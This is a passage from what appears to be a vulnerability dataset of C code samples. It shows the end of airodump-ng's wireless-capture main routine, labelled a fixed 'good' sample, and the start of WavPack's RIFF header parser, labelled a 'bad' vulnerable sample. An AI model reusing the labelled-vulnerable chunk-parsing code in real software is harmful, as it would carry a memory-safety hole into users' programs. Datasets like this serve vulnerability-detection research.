length of "ESSID" G.show_manufacturer = 0; G.show_uptime = 0; G.hopfreq = DEFAULT_HOPFREQ; G.s_file = NULL; G.s_iface = NULL; G.f_cap_in = NULL; G.detect_anomaly = 0; G.airodump_start_time = NULL; G.manufList = NULL; G.output_format_pcap = 1; G.output_format_csv = 1; G.output_format_kismet_csv = 1; G.output_format_kismet_netxml = 1; #ifdef HAVE_PCRE G.f_essid_regex = NULL; #endif // Default selection. resetSelection(); memset(G.sharedkey, '\x00', 512*3); memset(G.message, '\x00', sizeof(G.message)); memset(&G.pfh_in, '\x00', sizeof(struct pcap_file_header)); gettimeofday( &tv0, NULL ); lt = localtime( (time_t *) &tv0.tv_sec ); G.keyout = (char*) malloc(512); memset( G.keyout, 0, 512 ); snprintf( G.keyout, 511, "keyout-%02d%02d-%02d%02d%02d.keys", lt->tm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); for(i=0; i<MAX_CARDS; i++) { arptype[i]=0; fd_raw[i]=-1; G.channel[i]=0; } memset(G.f_bssid, '\x00', 6); memset(G.f_netmask, '\x00', 6); memset(G.wpa_bssid, '\x00', 6); /* check the arguments */ for(i=0; long_options[i].name != NULL; i++); num_opts = i; for(i=0; i<argc; i++) //go through all arguments { found = 0; if(strlen(argv[i]) >= 3) { if(argv[i][0] == '-' && argv[i][1] != '-') { //we got a single dash followed by at least 2 chars //lets check that against our long options to find errors for(j=0; j<num_opts;j++) { if( strcmp(argv[i]+1, long_options[j].name) == 0 ) { //found long option after single dash found = 1; if(i>1 && strcmp(argv[i-1], "-") == 0) { //separated dashes? printf("Notice: You specified \"%s %s\". Did you mean \"%s%s\" instead?\n", argv[i-1], argv[i], argv[i-1], argv[i]); } else { //forgot second dash? printf("Notice: You specified \"%s\". Did you mean \"-%s\" instead?\n", argv[i], argv[i]); } break; } } if(found) { sleep(3); break; } } } } do { option_index = 0; option = getopt_long( argc, argv, "b:c:egiw:s:t:u:m:d:N:R:aHDB:Ahf:r:EC:o:x:MU", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':': printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?': printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'E': G.detect_anomaly = 1; break; case 'e': G.one_beacon = 0; break; case 'a': G.asso_client = 1; break; case 'A': G.show_ack = 1; break; case 'h': G.hide_known = 1; break; case 'D': G.decloak = 0; break; case 'M': G.show_manufacturer = 1; break; case 'U' : G.show_uptime = 1; break; case 'c' : if (G.channel[0] > 0 || G.chanoption == 1) { if (G.chanoption == 1) printf( "Notice: Channel range already given\n" ); else printf( "Notice: Channel already given (%d)\n", G.channel[0]); break; } G.channel[0] = getchannels(optarg); if ( G.channel[0] < 0 ) goto usage; G.chanoption = 1; if( G.channel[0] == 0 ) { G.channels = G.own_channels; break; } G.channels = bg_chans; break; case 'C' : if (G.channel[0] > 0 || G.chanoption == 1) { if (G.chanoption == 1) printf( "Notice: Channel range already given\n" ); else printf( "Notice: Channel already given (%d)\n", G.channel[0]); break; } if (G.freqoption == 1) { printf( "Notice: Frequency range already given\n" ); break; } G.freqstring = optarg; G.freqoption = 1; break; case 'b' : if (G.chanoption == 1 && option != 'c') { printf( "Notice: Channel range already given\n" ); break; } freq[0] = freq[1] = 0; for (i = 0; i < (int)strlen(optarg); i++) { if ( optarg[i] == 'a' ) freq[1] = 1; else if ( optarg[i] == 'b' || optarg[i] == 'g') freq[0] = 1; else { printf( "Error: invalid band (%c)\n", optarg[i] ); printf("\"%s --help\" for help.\n", argv[0]); exit ( 1 ); } } if (freq[1] + freq[0] == 2 ) G.channels = abg_chans; else { if ( freq[1] == 1 ) G.channels = a_chans; else G.channels = bg_chans; } break; case 'i': // Reset output format if it's the first time the option is specified if (output_format_first_time) { output_format_first_time = 0; G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; } if (G.output_format_pcap) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } ivs_only = 1; break; case 'g': G.usegpsd = 1; /* if (inet_aton(optarg, &provis_addr.sin_addr) == 0 ) { printf("Invalid IP address.\n"); return (1); } */ break; case 'w': if (G.dump_prefix != NULL) { printf( "Notice: dump prefix already given\n" ); break; } /* Write prefix */ G.dump_prefix = optarg; G.record_data = 1; break; case 'r' : if( G.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } G.s_file = optarg; break; case 's': if (atoi(optarg) > 2) { goto usage; } if (G.chswitch != 0) { printf("Notice: switching method already given\n"); break; } G.chswitch = atoi(optarg); break; case 'u': G.update_s = atoi(optarg); /* If failed to parse or value <= 0, use default, 100ms */ if (G.update_s <= 0) G.update_s = REFRESH_RATE; break; case 'f': G.hopfreq = atoi(optarg); /* If failed to parse or value <= 0, use default, 100ms */ if (G.hopfreq <= 0) G.hopfreq = DEFAULT_HOPFREQ; break; case 'B': G.is_berlin = 1; G.berlin = atoi(optarg); if (G.berlin <= 0) G.berlin = 120; break; case 'm': if ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) { printf("Notice: netmask already given\n"); break; } if(getmac(optarg, 1, G.f_netmask) != 0) { printf("Notice: invalid netmask\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd': if ( memcmp(G.f_bssid, NULL_MAC, 6) != 0 ) { printf("Notice: bssid already given\n"); break; } if(getmac(optarg, 1, G.f_bssid) != 0) { printf("Notice: invalid bssid\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'N': G.f_essid_count++; G.f_essid = (char**)realloc(G.f_essid, G.f_essid_count * sizeof(char*)); G.f_essid[G.f_essid_count-1] = optarg; break; case 'R': #ifdef HAVE_PCRE if (G.f_essid_regex != NULL) { printf("Error: ESSID regular expression already given. Aborting\n"); exit(1); } G.f_essid_regex = pcre_compile(optarg, 0, &pcreerror, &pcreerroffset, NULL); if (G.f_essid_regex == NULL) { printf("Error: regular expression compilation failed at offset %d: %s; aborting\n", pcreerroffset, pcreerror); exit(1); } #else printf("Error: Airodump-ng wasn't compiled with pcre support; aborting\n"); #endif break; case 't': set_encryption_filter(optarg); break; case 'o': // Reset output format if it's the first time the option is specified if (output_format_first_time) { output_format_first_time = 0; G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; } // Parse the value output_format_string = strtok(optarg, ","); while (output_format_string != NULL) { if (strlen(output_format_string) != 0) { if (strncasecmp(output_format_string, "csv", 3) == 0 || strncasecmp(output_format_string, "txt", 3) == 0) { G.output_format_csv = 1; } else if (strncasecmp(output_format_string, "pcap", 4) == 0 || strncasecmp(output_format_string, "cap", 3) == 0) { if (ivs_only) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } G.output_format_pcap = 1; } else if (strncasecmp(output_format_string, "ivs", 3) == 0) { if (G.output_format_pcap) { printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); fprintf(stderr, "Invalid output format: IVS and PCAP format cannot be used together.\n"); return( 1 ); } ivs_only = 1; } else if (strncasecmp(output_format_string, "kismet", 6) == 0) { G.output_format_kismet_csv = 1; } else if (strncasecmp(output_format_string, "gps", 3) == 0) { G.usegpsd = 1; } else if (strncasecmp(output_format_string, "netxml", 6) == 0 || strncasecmp(output_format_string, "newcore", 7) == 0 || strncasecmp(output_format_string, "kismet-nc", 9) == 0 || strncasecmp(output_format_string, "kismet_nc", 9) == 0 || strncasecmp(output_format_string, "kismet-newcore", 14) == 0 || strncasecmp(output_format_string, "kismet_newcore", 14) == 0) { G.output_format_kismet_netxml = 1; } else if (strncasecmp(output_format_string, "default", 6) == 0) { G.output_format_pcap = 1; G.output_format_csv = 1; G.output_format_kismet_csv = 1; G.output_format_kismet_netxml = 1; } else if (strncasecmp(output_format_string, "none", 6) == 0) { G.output_format_pcap = 0; G.output_format_csv = 0; G.output_format_kismet_csv = 0; G.output_format_kismet_netxml = 0; G.usegpsd = 0; ivs_only = 0; } else { // Display an error if it does not match any value fprintf(stderr, "Invalid output format: <%s>\n", output_format_string); exit(1); } } output_format_string = strtok(NULL, ","); } break; case 'H': printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'x': G.active_scan_sim = atoi(optarg); if (G.active_scan_sim <= 0) G.active_scan_sim = 0; break; default : goto usage; } } while ( 1 ); if( argc - optind != 1 && G.s_file == NULL) { if(argc == 1) { usage: printf( usage, getVersion("Airodump-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( argc - optind == 1 ) G.s_iface = argv[argc-1]; if( ( memcmp(G.f_netmask, NULL_MAC, 6) != 0 ) && ( memcmp(G.f_bssid, NULL_MAC, 6) == 0 ) ) { printf("Notice: specify bssid \"--bssid\" with \"--netmask\"\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if(G.s_iface != NULL) { /* initialize cards */ G.num_cards = init_cards(G.s_iface, iface, wi); if(G.num_cards <= 0) return( 1 ); for (i = 0; i < G.num_cards; i++) { fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > fdh) fdh = fd_raw[i]; } if(G.freqoption == 1 && G.freqstring != NULL) // use frequencies { detect_frequencies(wi[0]); G.frequency[0] = getfrequencies(G.freqstring); if(G.frequency[0] == -1) { printf("No valid frequency given.\n"); return(1); } // printf("gonna rearrange\n"); rearrange_frequencies(); // printf("finished rearranging\n"); freq_count = getfreqcount(0); /* find the interface index */ /* start a child to hop between frequencies */ if( G.frequency[0] == 0 ) { unused = pipe( G.ch_pipe ); unused = pipe( G.cd_pipe ); signal( SIGUSR1, sighandler ); if( ! fork() ) { /* reopen cards. This way parent & child don't share resources for * accessing the card (e.g. file descriptors) which may cause * problems. -sorbo */ for (i = 0; i < G.num_cards; i++) { strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); exit(1); } } /* Drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } frequency_hopper(wi, G.num_cards, freq_count); exit( 1 ); } } else { for( i=0; i<G.num_cards; i++ ) { wi_set_freq(wi[i], G.frequency[0]); G.frequency[i] = G.frequency[0]; } G.singlefreq = 1; } } else //use channels { chan_count = getchancount(0); /* find the interface index */ /* start a child to hop between channels */ if( G.channel[0] == 0 ) { unused = pipe( G.ch_pipe ); unused = pipe( G.cd_pipe ); signal( SIGUSR1, sighandler ); if( ! fork() ) { /* reopen cards. This way parent & child don't share resources for * accessing the card (e.g. file descriptors) which may cause * problems. -sorbo */ for (i = 0; i < G.num_cards; i++) { strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); exit(1); } } /* Drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } channel_hopper(wi, G.num_cards, chan_count); exit( 1 ); } } else { for( i=0; i<G.num_cards; i++ ) { wi_set_channel(wi[i], G.channel[0]); G.channel[i] = G.channel[0]; } G.singlechan = 1; } } } /* Drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } /* check if there is an input file */ if( G.s_file != NULL ) { if( ! ( G.f_cap_in = fopen( G.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &G.pfh_in, 1, n, G.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( G.pfh_in.magic != TCPDUMP_MAGIC && G.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", G.s_file ); return( 1 ); } if( G.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(G.pfh_in.linktype); if( G.pfh_in.linktype != LINKTYPE_IEEE802_11 && G.pfh_in.linktype != LINKTYPE_PRISM_HEADER && G.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && G.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } /* open or create the output files */ if (G.record_data) if( dump_initialize( G.dump_prefix, ivs_only ) ) return( 1 ); signal( SIGINT, sighandler ); signal( SIGSEGV, sighandler ); signal( SIGTERM, sighandler ); signal( SIGWINCH, sighandler ); sighandler( SIGWINCH ); /* fill oui struct if ram is greater than 32 MB */ if (get_ram_size() > MIN_RAM_SIZE_LOAD_OUI_RAM) { G.manufList = load_oui_file(); } /* start the GPS tracker */ if (G.usegpsd) { unused = pipe( G.gc_pipe ); signal( SIGUSR2, sighandler ); if( ! fork() ) { gps_tracker(); exit( 1 ); } usleep( 50000 ); waitpid( -1, NULL, WNOHANG ); } fprintf( stderr, "\33[?25l\33[2J\n" ); start_time = time( NULL ); tt1 = time( NULL ); tt2 = time( NULL ); tt3 = time( NULL ); gettimeofday( &tv3, NULL ); gettimeofday( &tv4, NULL ); G.batt = getBatteryString(); G.elapsed_time = (char *) calloc( 1, 4 ); strncpy(G.elapsed_time, "0 s", 4 - 1); /* Create start time string for kismet netxml file */ G.airodump_start_time = (char *) calloc( 1, 1000 * sizeof(char) ); strncpy(G.airodump_start_time, ctime( & start_time ), 1000 - 1); G.airodump_start_time[strlen(G.airodump_start_time) - 1] = 0; // remove new line G.airodump_start_time = (char *) realloc( G.airodump_start_time, sizeof(char) * (strlen(G.airodump_start_time) + 1) ); if( pthread_create( &(G.input_tid), NULL, (void *) input_thread, NULL ) != 0 ) { perror( "pthread_create failed" ); return 1; } while( 1 ) { if( G.do_exit ) { break; } if( time( NULL ) - tt1 >= 5 ) { /* update the csv stats file */ tt1 = time( NULL ); if (G. output_format_csv) dump_write_csv(); if (G.output_format_kismet_csv) dump_write_kismet_csv(); if (G.output_format_kismet_netxml) dump_write_kismet_netxml(); /* sort the APs by power */ if(G.sort_by != SORT_BY_NOTHING) { pthread_mutex_lock( &(G.mx_sort) ); dump_sort(); pthread_mutex_unlock( &(G.mx_sort) ); } } if( time( NULL ) - tt2 > 3 ) { /* update the battery state */ free(G.batt); G.batt = NULL; tt2 = time( NULL ); G.batt = getBatteryString(); /* update elapsed time */ free(G.elapsed_time); G.elapsed_time=NULL; G.elapsed_time = getStringTimeFromSec( difftime(tt2, start_time) ); /* flush the output files */ if( G.f_cap != NULL ) fflush( G.f_cap ); if( G.f_ivs != NULL ) fflush( G.f_ivs ); } gettimeofday( &tv1, NULL ); cycle_time = 1000000 * ( tv1.tv_sec - tv3.tv_sec ) + ( tv1.tv_usec - tv3.tv_usec ); cycle_time2 = 1000000 * ( tv1.tv_sec - tv4.tv_sec ) + ( tv1.tv_usec - tv4.tv_usec ); if( G.active_scan_sim > 0 && cycle_time2 > G.active_scan_sim*1000 ) { gettimeofday( &tv4, NULL ); send_probe_requests(wi, G.num_cards); } if( cycle_time > 500000 ) { gettimeofday( &tv3, NULL ); update_rx_quality( ); if(G.s_iface != NULL) { check_monitor(wi, fd_raw, &fdh, G.num_cards); if(G.singlechan) check_channel(wi, G.num_cards); if(G.singlefreq) check_frequency(wi, G.num_cards); } } if(G.s_file != NULL) { /* Read one packet */ n = sizeof( pkh ); if( fread( &pkh, n, 1, G.f_cap_in ) != 1 ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( G.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } n = caplen = pkh.caplen; memset(buffer, 0, sizeof(buffer)); h80211 = buffer; if( n <= 0 || n > (int) sizeof( buffer ) ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( fread( h80211, n, 1, G.f_cap_in ) != 1 ) { memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ Finished reading input file %s.\n", G.s_file); G.s_file = NULL; continue; } if( G.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( G.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( G.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } read_pkts++; if(read_pkts%10 == 0) usleep(1); } else if(G.s_iface != NULL) { /* capture one packet */ FD_ZERO( &rfds ); for(i=0; i<G.num_cards; i++) { FD_SET( fd_raw[i], &rfds ); } tv0.tv_sec = G.update_s; tv0.tv_usec = (G.update_s == 0) ? REFRESH_RATE : 0; gettimeofday( &tv1, NULL ); if( select( fdh + 1, &rfds, NULL, NULL, &tv0 ) < 0 ) { if( errno == EINTR ) { gettimeofday( &tv2, NULL ); time_slept += 1000000 * ( tv2.tv_sec - tv1.tv_sec ) + ( tv2.tv_usec - tv1.tv_usec ); continue; } perror( "select failed" ); /* Restore terminal */ fprintf( stderr, "\33[?25h" ); fflush( stdout ); return( 1 ); } } else usleep(1); gettimeofday( &tv2, NULL ); time_slept += 1000000 * ( tv2.tv_sec - tv1.tv_sec ) + ( tv2.tv_usec - tv1.tv_usec ); if( time_slept > REFRESH_RATE && time_slept > G.update_s * 1000000) { time_slept = 0; update_dataps(); /* update the window size */ if( ioctl( 0, TIOCGWINSZ, &(G.ws) ) < 0 ) { G.ws.ws_row = 25; G.ws.ws_col = 80; } if( G.ws.ws_col < 1 ) G.ws.ws_col = 1; if( G.ws.ws_col > 300 ) G.ws.ws_col = 300; /* display the list of access points we have */ if(!G.do_pause) { pthread_mutex_lock( &(G.mx_print) ); fprintf( stderr, "\33[1;1H" ); dump_print( G.ws.ws_row, G.ws.ws_col, G.num_cards ); fprintf( stderr, "\33[J" ); fflush( stdout ); pthread_mutex_unlock( &(G.mx_print) ); } continue; } if(G.s_file == NULL && G.s_iface != NULL) { fd_is_set = 0; for(i=0; i<G.num_cards; i++) { if( FD_ISSET( fd_raw[i], &rfds ) ) { memset(buffer, 0, sizeof(buffer)); h80211 = buffer; if ((caplen = wi_read(wi[i], h80211, sizeof(buffer), &ri)) == -1) { wi_read_failed++; if(wi_read_failed > 1) { G.do_exit = 1; break; } memset(G.message, '\x00', sizeof(G.message)); snprintf(G.message, sizeof(G.message), "][ interface %s down ", wi_get_ifname(wi[i])); //reopen in monitor mode strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam)-1); ifnam[sizeof(ifnam)-1] = 0; wi_close(wi[i]); wi[i] = wi_open(ifnam); if (!wi[i]) { printf("Can't reopen %s\n", ifnam); /* Restore terminal */ fprintf( stderr, "\33[?25h" ); fflush( stdout ); exit(1); } fd_raw[i] = wi_fd(wi[i]); if (fd_raw[i] > fdh) fdh = fd_raw[i]; break; // return 1; } read_pkts++; wi_read_failed = 0; dump_add_packet( h80211, caplen, &ri, i ); } } } else if (G.s_file != NULL) { dump_add_packet( h80211, caplen, &ri, i ); } } if(G.batt) free(G.batt); if(G.elapsed_time) free(G.elapsed_time); if(G.own_channels) free(G.own_channels); if(G.f_essid) free(G.f_essid); if(G.prefix) free(G.prefix); if(G.f_cap_name) free(G.f_cap_name); if(G.keyout) free(G.keyout); #ifdef HAVE_PCRE if(G.f_essid_regex) pcre_free(G.f_essid_regex); #endif for(i=0; i<G.num_cards; i++) wi_close(wi[i]); if (G.record_data) { if ( G. output_format_csv) dump_write_csv(); if ( G.output_format_kismet_csv) dump_write_kismet_csv(); if ( G.output_format_kismet_netxml) dump_write_kismet_netxml(); if ( G. output_format_csv || G.f_txt != NULL ) fclose( G.f_txt ); if ( G.output_format_kismet_csv || G.f_kis != NULL ) fclose( G.f_kis ); if ( G.output_format_kismet_netxml || G.f_kis_xml != NULL ) { fclose( G.f_kis_xml ); free(G.airodump_start_time); } if ( G.f_gps != NULL ) fclose( G.f_gps ); if ( G.output_format_pcap || G.f_cap != NULL ) fclose( G.f_cap ); if ( G.f_ivs != NULL ) fclose( G.f_ivs ); } if( ! G.save_gps ) { snprintf( (char *) buffer, 4096, "%s-%02d.gps", argv[2], G.f_index ); unlink( (char *) buffer ); } ap_prv = NULL; ap_cur = G.ap_1st; while( ap_cur != NULL ) { // Clean content of ap_cur list (first element: G.ap_1st) uniqueiv_wipe( ap_cur->uiv_root ); list_tail_free(&(ap_cur->packets)); if (G.manufList) free(ap_cur->manuf); if (G.detect_anomaly) data_wipe(ap_cur->data_root); ap_prv = ap_cur; ap_cur = ap_cur->next; } ap_cur = G.ap_1st; while( ap_cur != NULL ) { // Freeing AP List ap_next = ap_cur->next; if( ap_cur != NULL ) free(ap_cur); ap_cur = ap_next; } st_cur = G.st_1st; st_next= NULL; while(st_cur != NULL) { st_next = st_cur->next; if (G.manufList) free(st_cur->manuf); free(st_cur); st_cur = st_next; } na_cur = G.na_1st; na_next= NULL; while(na_cur != NULL) { na_next = na_cur->next; free(na_cur); na_cur = na_next; } if (G.manufList) { oui_cur = G.manufList; while (oui_cur != NULL) { oui_next = oui_cur->next; free(oui_cur); oui_cur = oui_next; } } fprintf( stderr, "\33[?25h" ); fflush( stdout ); return( 0 ); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_2311_0
crossvul-cpp_data_bad_96_1
//////////////////////////////////////////////////////////////////////////// // **** WAVPACK **** // // Hybrid Lossless Wavefile Compressor // // Copyright (c) 1998 - 2016 David Bryant. // // All Rights Reserved. // // Distributed under the BSD Software License (see license.txt) // //////////////////////////////////////////////////////////////////////////// // riff.c // This module is a helper to the WavPack command-line programs to support WAV files // (both MS standard and rf64 varients). #include <string.h> #include <stdlib.h> #include <fcntl.h> #include <math.h> #include <stdio.h> #include <ctype.h> #include "wavpack.h" #include "utils.h" #include "md5.h" #pragma pack(push,4) typedef struct { char ckID [4]; uint64_t chunkSize64; } CS64Chunk; typedef struct { uint64_t riffSize64, dataSize64, sampleCount64; uint32_t tableLength; } DS64Chunk; typedef struct { char ckID [4]; uint32_t ckSize; char junk [28]; } JunkChunk; #pragma pack(pop) #define CS64ChunkFormat "4D" #define DS64ChunkFormat "DDDL" #define WAVPACK_NO_ERROR 0 #define WAVPACK_SOFT_ERROR 1 #define WAVPACK_HARD_ERROR 2 extern int debug_logging_mode; int ParseRiffHeaderConfig (FILE *infile, char *infilename, char *fourcc, WavpackContext *wpc, WavpackConfig *config) { int is_rf64 = !strncmp (fourcc, "RF64", 4), got_ds64 = 0; int64_t total_samples = 0, infilesize; RiffChunkHeader riff_chunk_header; ChunkHeader chunk_header; WaveHeader WaveHeader; DS64Chunk ds64_chunk; uint32_t bcount; CLEAR (WaveHeader); CLEAR (ds64_chunk); infilesize = DoGetFileSize (infile); if (!is_rf64 && infilesize >= 4294967296LL && !(config->qmode & QMODE_IGNORE_LENGTH)) { error_line ("can't handle .WAV files larger than 4 GB (non-standard)!"); return WAVPACK_SOFT_ERROR; } memcpy (&riff_chunk_header, fourcc, 4); if ((!DoReadFile (infile, ((char *) &riff_chunk_header) + 4, sizeof (RiffChunkHeader) - 4, &bcount) || bcount != sizeof (RiffChunkHeader) - 4 || strncmp (riff_chunk_header.formType, "WAVE", 4))) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &riff_chunk_header, sizeof (RiffChunkHeader))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } // loop through all elements of the RIFF wav header // (until the data chuck) and copy them to the output file while (1) { if (!DoReadFile (infile, &chunk_header, sizeof (ChunkHeader), &bcount) || bcount != sizeof (ChunkHeader)) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &chunk_header, sizeof (ChunkHeader))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&chunk_header, ChunkHeaderFormat); if (!strncmp (chunk_header.ckID, "ds64", 4)) { if (chunk_header.ckSize < sizeof (DS64Chunk) || !DoReadFile (infile, &ds64_chunk, sizeof (DS64Chunk), &bcount) || bcount != sizeof (DS64Chunk)) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &ds64_chunk, sizeof (DS64Chunk))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } got_ds64 = 1; WavpackLittleEndianToNative (&ds64_chunk, DS64ChunkFormat); if (debug_logging_mode) error_line ("DS64: riffSize = %lld, dataSize = %lld, sampleCount = %lld, table_length = %d", (long long) ds64_chunk.riffSize64, (long long) ds64_chunk.dataSize64, (long long) ds64_chunk.sampleCount64, ds64_chunk.tableLength); if (ds64_chunk.tableLength * sizeof (CS64Chunk) != chunk_header.ckSize - sizeof (DS64Chunk)) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } while (ds64_chunk.tableLength--) { CS64Chunk cs64_chunk; if (!DoReadFile (infile, &cs64_chunk, sizeof (CS64Chunk), &bcount) || bcount != sizeof (CS64Chunk) || (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &cs64_chunk, sizeof (CS64Chunk)))) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } } } else if (!strncmp (chunk_header.ckID, "fmt ", 4)) { // if it's the format chunk, we want to get some info out of there and int supported = TRUE, format; // make sure it's a .wav file we can handle if (chunk_header.ckSize < 16 || chunk_header.ckSize > sizeof (WaveHeader) || !DoReadFile (infile, &WaveHeader, chunk_header.ckSize, &bcount) || bcount != chunk_header.ckSize) { error_line ("%s is not a valid .WAV file!", infilename); return WAVPACK_SOFT_ERROR; } else if (!(config->qmode & QMODE_NO_STORE_WRAPPER) && !WavpackAddWrapper (wpc, &WaveHeader, chunk_header.ckSize)) { error_line ("%s", WavpackGetErrorMessage (wpc)); return WAVPACK_SOFT_ERROR; } WavpackLittleEndianToNative (&WaveHeader, WaveHeaderFormat); if (debug_logging_mode) { error_line ("format tag size = %d", chunk_header.ckSize); error_line ("FormatTag = %x, NumChannels = %d, BitsPerSample = %d", WaveHeader.FormatTag, WaveHeader.NumChannels, WaveHeader.BitsPerSample); error_line ("BlockAlign = %d, SampleRate = %d, BytesPerSecond = %d", WaveHeader.BlockAlign, WaveHeader.SampleRate, WaveHeader.BytesPerSecond); if (chunk_header.ckSize > 16) error_line ("cbSize = %d, ValidBitsPerSample = %d", WaveHeader.cbSize, WaveHeader.ValidBitsPerSample); if (chunk_header.ckSize > 20) error_line ("ChannelMask = %x, SubFormat = %d", WaveHeader.ChannelMask, WaveHeader.SubFormat); } if (chunk_header.ckSize > 16 && WaveHeader.cbSize == 2) config->qmode |= QMODE_ADOBE_MODE; format = (WaveHeader.FormatTag == 0xfffe && chunk_header.ckSize == 40) ? WaveHeader.SubFormat : WaveHeader.FormatTag; config->bits_per_sample = (chunk_header.ckSize == 40 && WaveHeader.ValidBitsPerSample) ? WaveHeader.ValidBitsPerSample : WaveHeader.BitsPerSample; if (format != 1 && format != 3) supported = FALSE; if (format == 3 && config->bits_per_sample != 32) supported = FALSE; if (!WaveHeader.NumChannels || WaveHeader.NumChannels > 256 || WaveHeader.BlockAlign / WaveHeader.NumChannels < (config->bits_per_sample + 7) / 8 || WaveHeader.BlockAlign / WaveHeader.NumChannels > 4 || WaveHeader.BlockAlign % WaveHeader.NumChannels) supported = FALSE; if (config->bits_per_sample < 1 || config->bits_per_sample > 32) supported = FALSE; if (!supported) { error_line ("%s is an unsupported .WAV format!", infilename); return WAVPACK_SOFT_ERROR; } if (chunk_header.ckSize < 40) { if (!config->channel_mask && !(config->qmode & QMODE_CHANS_UNASSIGNED)) { if (WaveHeader.NumChannels <= 2) config->channel_mask = 0x5 - WaveHeader.NumChannels; else if (WaveHeader.NumChannels <= 18) config->channel_mask = (1 << WaveHeader.NumChannels) - 1; else config->channel_mask = 0x3ffff; } } else if 